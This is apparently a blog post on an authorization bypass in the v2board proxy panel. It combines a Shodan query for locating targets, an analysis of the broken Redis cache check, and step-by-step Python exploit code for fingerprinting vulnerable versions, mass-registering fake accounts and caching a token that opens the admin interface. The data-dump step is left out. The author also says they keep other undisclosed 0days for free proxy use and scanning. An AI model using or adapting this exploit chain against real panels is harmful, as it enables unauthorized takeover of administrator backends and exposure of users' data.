A few days ago, a vulnerability in the v2board airport panel was exposed, leaking a large amount of airport user data. After a brief look, the principle is quite simple: the authorization uses Redis caching without authentication for regular users and administrators. Once a regular user logs in successfully, they can directly request the administrator’s interface.
Shodan Search Syntax
http.html:"/theme/v2board/assets/"

Vulnerability Exploit
https://github.com/zgao264/v2board-exp
Vulnerability Code Analysis
Code location: app/Http/Middleware/Admin.php

In Admin.php, it checks if there is an authorization in the Redis cache. If it exists, the admin interface can be accessed. However, this authorization is not further verified to see if it is an administrator’s authorization, which allows regular users to take over the airport backend.

The fixed code removed the previous cache check logic.
Exploit Development Ideas
The vulnerability principle is very simple, so how can you quickly write an exploit script?
How to Identify Vulnerable v2board Versions?
Observing the vulnerable code above, we can see that in the cache check logic, the 403 prompt is different. If the request header does not carry authorization, it returns Not logged in or login has expired
. If it does, it further checks if the authorization value is in Redis, and if not, it returns authentication failure, please log in again
.
So we can construct a request to trigger the return authentication failure, please log in again 403. The code is as follows:
headers = { 'authorization': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36', } def POC(): """ Detect whether the target v2board is the v1.6.1 vulnerability version """ path = '/api/v1/admin/config/fetch' url = f"{target}{path}".replace('//api','/api') r = s.get(url,headers=headers,verify=False) if r.status_code == 403 and '\\u9274\\u6743\\u5931\\u8d25' in r.text: print(f"[+]{target} is vulnerable!") else: print(f"[-]{target} is not vulnerable!") exit(0)
Manually construct a header, authorization can be any value.
Determine If Email Verification Is Required for Registration
Most of the v2board backend can be registered directly, some require email verification. For email verification, you need to connect to the email API to complete automated exploitation, which I am too lazy to write.

The code is as follows:
def check_verify(): """ Determine if the target registration requires email or invitation verification """ path = '/api/v1/guest/comm/config' url = f"{target}{path}".replace('//api','/api') resp = s.get(url,headers=headers).json()['data'] if not resp['is_invite_force'] and not resp['is_email_verify']: print(f"[+]Target does not require email verification, can directly obtain permissions") elif resp['is_invite_force']: print(f"[-]Target requires invitation registration, cannot obtain permissions!") exit(0) elif resp['is_email_verify']: print("Target requires email verification code to further exploit!") exit(0)
Register an Account and Log In
For backends without email verification, you can use any fake email to register. After successful registration, auth_data will be returned.
def registry_acc(): """ Randomly register an account and return auth_data """ rand_num = str(random.random())[8:] QQ_mail = rand_num + '@qq.com' passwd = rand_num data = { 'email': QQ_mail, 'password': passwd, 'invite_code': '', 'email_code': '' } path = '/api/v1/passport/auth/register' url = f"{target}{path}".replace('//api','/api') r = s.post(url,headers=headers,data=data) if r.status_code == 200: print(f"[+]The currently randomly registered account is {QQ_mail}, password is {passwd}") return QQ_mail,passwd else: print(f"[-]Target has closed account registration!") exit(0)
Log In and Write Authorization to Redis Cache
This is a very important step for the vulnerability code’s judgment logic. Note that after logging in, you need to request the /user/info interface to make the authorization effective.
def login(email,passwd): """ After logging in, you need to request the /user/info interface to make the authorization effective """ data = { 'email': email, 'password': passwd } path = '/api/v1/passport/auth/login' url = f"{target}{path}".replace('//api','/api') r = s.post(url, headers=headers, data=data) if r.status_code == 200: print('[+]Account login successful!') auth_data = r.json()['data']['auth_data'] headers['authorization'] = auth_data s.get(f'{target}/api/v1/user/info', headers=headers) return auth_data else: print('[-]Account login failed!') exit(0)
Obtain Administrator Interface Data
This part involves dumping sensitive management interface data, the code is not provided. The usage is as follows:

Conclusion
The vulnerability principle is very simple, belonging to a logic flaw. However, from the perspective of code auditing, it may not be easy to find, but penetration testing for privilege escalation should be quite easy to test.
However, I still want to complain a bit, publicly exposing these airport user data doesn’t have much meaning, at most just switch to another subscription and continue. Having a 0day is better left for free airport node usage; I’ve never publicly disclosed other airport vulnerabilities I’ve found before, using them for scanning proxies is quite effective.